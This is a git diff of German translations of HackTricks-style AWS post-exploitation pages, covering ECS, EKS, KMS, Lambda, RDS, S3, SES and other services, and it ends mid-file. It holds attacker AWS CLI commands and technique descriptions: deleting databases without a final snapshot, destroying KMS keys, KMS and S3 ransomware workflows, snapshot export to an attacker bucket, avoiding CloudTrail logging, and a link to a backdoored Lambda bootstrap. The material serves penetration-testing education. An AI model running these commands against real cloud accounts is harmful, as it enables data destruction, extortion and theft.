-Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, **zu aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container **stehlen** kann.
+Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 908089666..319999488 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -14,7 +14,7 @@ Für weitere Informationen siehe
Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte** über die AWS EKS-Konsole anzeigen ([Erfahren Sie mehr](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-### Verbindung zum AWS Kubernetes-Cluster herstellen
+### Verbinden Sie sich mit dem AWS Kubernetes-Cluster
- Einfache Methode:
```bash
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
Wenn Sie **ein Token erhalten können** mit **`aws eks get-token --name `**, aber keine Berechtigungen haben, um Cluster-Informationen abzurufen (describeCluster), könnten Sie **Ihre eigene `~/.kube/config` vorbereiten**. Allerdings benötigen Sie mit dem Token immer noch den **URL-Endpunkt, um sich zu verbinden** (wenn Sie es geschafft haben, ein JWT-Token von einem Pod zu erhalten, lesen Sie [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
-In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen in **userData** leicht sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
+In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen leicht in **userData** sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -77,11 +77,11 @@ Der **Ersteller** des **EKS-Clusters** wird **IMMER** in der Lage sein, in den K
Der Weg, um **Zugriff auf K8s für weitere AWS IAM-Benutzer oder -Rollen** zu gewähren, ist die Verwendung des **configmap** **`aws-auth`**.
> [!WARNING]
-> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu gefährden**.
+> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu kompromittieren**.
-Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen & -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, [**privesc überprüfen Sie diese Seite**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen und -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, siehe [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-Überprüfen Sie auch[ **diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**.
+Überprüfen Sie auch [**diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**.
### Von Kubernetes zu AWS
@@ -89,7 +89,7 @@ Es ist möglich, eine **OpenID-Authentifizierung für Kubernetes-Dienstkonten**
### GET Api Server-Endpunkt aus einem JWT-Token
-Durch das Dekodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region.  Dabei ist das Standardformat für die EKS-URL
+Durch das Decodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region.  Dabei ist bekannt, dass das Standardformat für die EKS-URL ist
```bash
https://...eks.amazonaws.com
```
@@ -125,13 +125,13 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
Wenn ein Angreifer die Anmeldeinformationen eines AWS mit **Berechtigungen über ein EKS** erhält. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erklärt, generiert **`get-token`** keine Protokolle in CloudTrail, da es nicht mit der AWS-API interagiert (es erstellt das Token nur lokal).
-Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, das mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**.
+Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, was mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**.
Beachten Sie, dass der **EKS-Cluster möglicherweise Protokolle aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
### EKS Lösegeld?
-Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster haben wird.
+Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster hat.
Wenn also ein **Angreifer einen Cluster mit Fargate kompromittiert** und **alle anderen Administratoren entfernt** und **den AWS-Benutzer/die Rolle, die den Cluster erstellt hat, löscht**, ~~könnte der Angreifer **den Cluster erpresst haben**~~**.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 29497577a..f63242164 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -23,7 +23,7 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers
### `elasticbeanstalk:TerminateEnvironment`
-> [!HINWEIS]
+> [!NOTE]
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung beenden**, was zu Ausfallzeiten der Anwendung und potenziellem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
@@ -34,7 +34,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
### `elasticbeanstalk:DeleteApplication`
-> [!HINWEIS]
+> [!NOTE]
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller ihrer Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und -konfigurationen führen, wenn keine Sicherung vorhanden ist.
@@ -52,7 +52,7 @@ Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
-**Potenzielle Auswirkungen**: Den Benutzern die falsche Version der Anwendung bereitzustellen oder unbeabsichtigtes Verhalten in der Anwendung aufgrund vertauschter Umgebungen zu verursachen.
+**Potenzielle Auswirkungen**: Bereitstellung der falschen Version der Anwendung für Benutzer oder Verursachung unbeabsichtigten Verhaltens in der Anwendung aufgrund vertauschter Umgebungen.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
@@ -65,6 +65,6 @@ aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
-**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenverwaltung aufgrund hinzugefügter oder entfernter Tags.
+**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenmanagement aufgrund hinzugefügter oder entfernter Tags.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index e4a98b3f2..68ea0f2c2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -14,11 +14,11 @@ Für weitere Informationen über IAM-Zugriff:
Wenn Sie **einem externen Konto (A)** den Zugriff auf eine **Rolle** in Ihrem Konto erlauben, haben Sie wahrscheinlich **0 Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) auf das externe Konto (A) zugreifen kann, ist es möglich, dass **B auch auf Ihr Konto zugreifen kann**.
-Daher ist es möglich, beim Erlauben eines externen Kontos, auf eine Rolle in Ihrem Konto zuzugreifen, eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die das externe Konto (A) **angeben muss**, um **die Rolle in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diese Zeichenfolge nicht kennt**, wird es **nicht in der Lage sein, auf Ihre Rolle zuzugreifen**, selbst wenn es Zugriff auf A hat.
+Daher ist es möglich, beim Erlauben eines externen Kontos den Zugriff auf eine Rolle in Ihrem Konto eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die das externe Konto (A) **angeben muss**, um **die Rolle in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diese Zeichenfolge nicht kennt**, wird es, selbst wenn es Zugriff auf A hat, **nicht in der Lage sein, auf Ihre Rolle zuzugreifen**.
-Beachten Sie jedoch, dass dieses `ExternalId` "Geheimnis" **kein Geheimnis** ist; jeder, der die IAM-Rollenübernahme-Richtlinie **lesen kann, wird es sehen können**. Solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre Rolle zuzugreifen**.
+Beachten Sie jedoch, dass diese `ExternalId` "Geheimnis" **kein Geheimnis** ist; jeder, der die IAM-Rollenübernahme-Richtlinie **lesen kann, wird sie sehen können**. Solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre Rolle zuzugreifen**.
Beispiel:
```json
@@ -43,7 +43,7 @@ Beispiel:
### Unerwartete Vertrauensstellungen
-#### Platzhalter als Prinzipal
+#### Wildcard als Prinzipal
```json
{
"Action": "sts:AssumeRole",
@@ -73,7 +73,7 @@ Diese Richtlinie **erlaubt jedem Konto**, ihr apigateway so zu konfigurieren, da
}
}
```
-Wenn ein S3-Bucket als Principal angegeben ist, da S3-Buckets keine Kontonummer haben, wenn Sie **Ihren Bucket gelöscht haben und der Angreifer ihn in seinem eigenen Konto erstellt hat**, könnte er dies ausnutzen.
+Wenn ein S3-Bucket als Principal angegeben wird, da S3-Buckets keine Account-ID haben, wenn Sie **Ihren Bucket gelöscht haben und der Angreifer** ihn in seinem eigenen Konto erstellt hat, könnte er dies ausnutzen.
#### Nicht unterstützt
```json
@@ -86,7 +86,7 @@ Wenn ein S3-Bucket als Principal angegeben ist, da S3-Buckets keine Kontonummer
```
Ein gängiger Weg, um Probleme mit verwirrten Stellvertretern zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Ursprungs-ARN zu überprüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen).
-## References
+## Referenzen
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 9c5720f13..35b85f848 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -60,9 +60,9 @@ aws kms decrypt \
```
### KMS Ransomware
-Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie von Schlüsseln ändern und **seinem Konto Zugriff darauf gewähren**, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird.
+Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie der Schlüssel ändern und **seinem Konto Zugriff darauf gewähren**, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird.
-Dann können die Benutzer des legitimen Kontos keine Informationen von einem Dienst abrufen, der mit diesen Schlüsseln verschlüsselt wurde, was eine einfache, aber effektive Ransomware über das Konto schafft.
+Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft.
> [!WARNING]
> Beachten Sie, dass **AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind**, nur **vom Kunden verwaltete Schlüssel**.
@@ -105,7 +105,7 @@ Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der d
- Erstellen Sie einen neuen **Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial**
- **Re-verschlüsseln Sie ältere Daten**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
- **Löschen Sie den KMS-Schlüssel**
-- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
+- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln
### Schlüssel zerstören
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 11e02aaa3..ee016d800 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -7,18 +7,18 @@
1. **Slicer** ist ein Prozess außerhalb des Containers, der **Aufrufe** an den **Init**-Prozess **sendet**.
-2. Der Init-Prozess hört auf Port **9001** und bietet einige interessante Endpunkte an:
+2. Der Init-Prozess hört auf Port **9001** und exponiert einige interessante Endpunkte:
- **`/2018-06-01/runtime/invocation/next`** – den nächsten Aufrufereignis abrufen
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – die Handler-Antwort für den Aufruf zurückgeben
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – einen Ausführungsfehler zurückgeben
-3. **bootstrap.py** hat eine Schleife, die Aufrufe vom Init-Prozess abruft und den Benutzer-Code aufruft, um sie zu verarbeiten (**`/next`**).
+3. **bootstrap.py** hat eine Schleife, die Aufrufe vom Init-Prozess erhält und den Benutzer-Code aufruft, um sie zu verarbeiten (**`/next`**).
4. Schließlich sendet **bootstrap.py** die **Antwort** an Init.
Beachten Sie, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet.
## Stehlen von Lambda-Anfragen
-Das Ziel dieses Angriffs ist es, den Benutzer-Code dazu zu bringen, einen bösartigen **`bootstrap.py`**-Prozess innerhalb des **`bootstrap.py`**-Prozesses auszuführen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der **bösartige Bootstrap**-Prozess beginnen, mit dem Init-Prozess zu **kommunizieren**, um die Anfragen zu bearbeiten, während der **legitime** Bootstrap **gefangen** ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.
+Ziel dieses Angriffs ist es, den Benutzer-Code einen bösartigen **`bootstrap.py`**-Prozess innerhalb des **`bootstrap.py`**-Prozesses ausführen zu lassen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der **bösartige Bootstrap**-Prozess beginnen, mit dem Init-Prozess zu **kommunizieren**, um die Anfragen zu bearbeiten, während der **legitime** Bootstrap **gefangen** ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.
Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen **`bootstrap.py`**-Prozess ausgeführt wird. Der Angreifer könnte also:
@@ -32,7 +32,7 @@ Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen **`boots
### Angriffs Schritte
1. Eine **RCE**-Schwachstelle finden.
-2. Einen **bösartigen** **Bootstrap** generieren (z.B. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+2. Einen **bösartigen** **Bootstrap** generieren (z.B. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)).
3. **Führen** Sie den bösartigen Bootstrap aus.
Sie können diese Aktionen einfach ausführen, indem Sie:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 3b25c0277..44bc95af2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen, siehe:
### Alte DB-Snapshots wiederherstellen
-Wenn die DB Snapshots hat, könnten Sie in der Lage sein, **sensible Informationen zu finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen Sie** den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn.
+Wenn die DB Snapshots hat, könnten Sie **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen** Sie den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn.
### Instanz-Snapshots wiederherstellen
@@ -21,7 +21,7 @@ Oder **exportieren Sie den Snapshot zu einem AMI in EC2** und folgen Sie den Sch
### Zugriff auf sensible Informationen
-Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, um auf potenziell sensible Informationen zuzugreifen:
+Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, wie Sie auf potenziell sensible Informationen zugreifen können:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 7c4afc75e..fd351bd63 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,16 +1,16 @@
-# AWS - Organizations Post Exploitation
+# AWS - Organisationen Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Organisationen
-Für weitere Informationen zu AWS-Organisationen siehe:
+Für weitere Informationen zu AWS Organizations siehe:
{{#ref}}
../aws-services/aws-organizations-enum.md
{{#endref}}
-### Verlasse die Organisation
+### Verlasse die Org
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index fc7d141f6..013da8f39 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -73,7 +73,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
> [!HINWEIS]
> TODO: Test
-Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
+Ein Angreifer mit dieser Berechtigung kann **ein RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 5fa6582e9..2f379f65e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### Sensible Informationen
-Manchmal können Sie sensible Informationen in lesbarer Form in den Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse.
+Manchmal können Sie sensible Informationen in lesbaren Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse.
### Pivoting
@@ -25,13 +25,13 @@ In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) S
Der Angreifer identifiziert einen Ziel-**S3-Bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden anwendet. Dies könnte auf eine schlechte Bucket-Konfiguration zurückzuführen sein, die ihn öffentlich macht, oder der Angreifer erhält Zugriff auf die AWS-Umgebung selbst. Der Angreifer zielt typischerweise auf Buckets ab, die sensible Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsinformationen (PHI), Protokolle, Backups und mehr enthalten.
-Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA-Löschung) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA-Löschung deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA-Löschung aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen.
+Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA delete) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA delete aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen.
Mit der AWS-API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS-Schlüssel**. Dies verschlüsselt effektiv die Daten im Bucket, sodass sie ohne den Schlüssel nicht zugänglich sind.
Um zusätzlichen Druck auszuüben, plant der Angreifer die Löschung des KMS-Schlüssels, der im Angriff verwendet wurde. Dies gibt dem Ziel ein 7-tägiges Zeitfenster, um ihre Daten wiederherzustellen, bevor der Schlüssel gelöscht wird und die Daten dauerhaft verloren gehen.
-Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien wiederherstellen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
+Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien abrufen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
**Für weitere Informationen** [**prüfen Sie die ursprüngliche Forschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index 839b360ab..881f88f58 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -16,10 +16,10 @@ Die **Secrets selbst sind sensible Informationen**, [siehe die Privesc-Seite](..
### DoS Secret-Wert ändern
-Durch Ändern des Wertes des Secrets könntest du **alle Systeme, die von diesem Wert abhängen, DoS.**
+Durch das Ändern des Wertes des Secrets könntest du **das gesamte System, das von diesem Wert abhängt, DoS.**
> [!WARNING]
-> Beachte, dass frühere Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
+> Beachte, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index b66bffcbf..3f6eee515 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Eine E-Mail senden.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Still to test.
+Noch zu testen.
### `ses:SendRawEmail`
@@ -25,23 +25,23 @@ Eine E-Mail senden.
```bash
aws ses send-raw-email --raw-message file://message.json
```
-Still to test.
+Noch zu testen.
### `ses:SendTemplatedEmail`
-Eine E-Mail basierend auf einer Vorlage senden.
+Senden Sie eine E-Mail basierend auf einer Vorlage.
```bash
aws ses send-templated-email --source --destination --template
```
-Still to test.
+Noch zu testen.
### `ses:SendBulkTemplatedEmail`
-Senden Sie eine E-Mail an mehrere Empfänger
+Senden Sie eine E-Mail an mehrere Empfänger.
```bash
aws ses send-bulk-templated-email --source --template
```
-Still to test.
+Noch zu testen.
### `ses:SendBulkEmail`
@@ -55,15 +55,13 @@ Senden Sie eine **Bounce-E-Mail** über eine empfangene E-Mail (die anzeigt, das
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
-Still to test.
-
### `ses:SendCustomVerificationEmail`
-Dies sendet eine benutzerdefinierte Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlagen-E-Mail zu erstellen.
+Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlage für die E-Mail zu erstellen.
```bash
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-Still to test.
+Noch zu testen.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 4a55c3560..09477e3e4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -12,7 +12,7 @@ Für weitere Informationen:
### Nachrichten stören
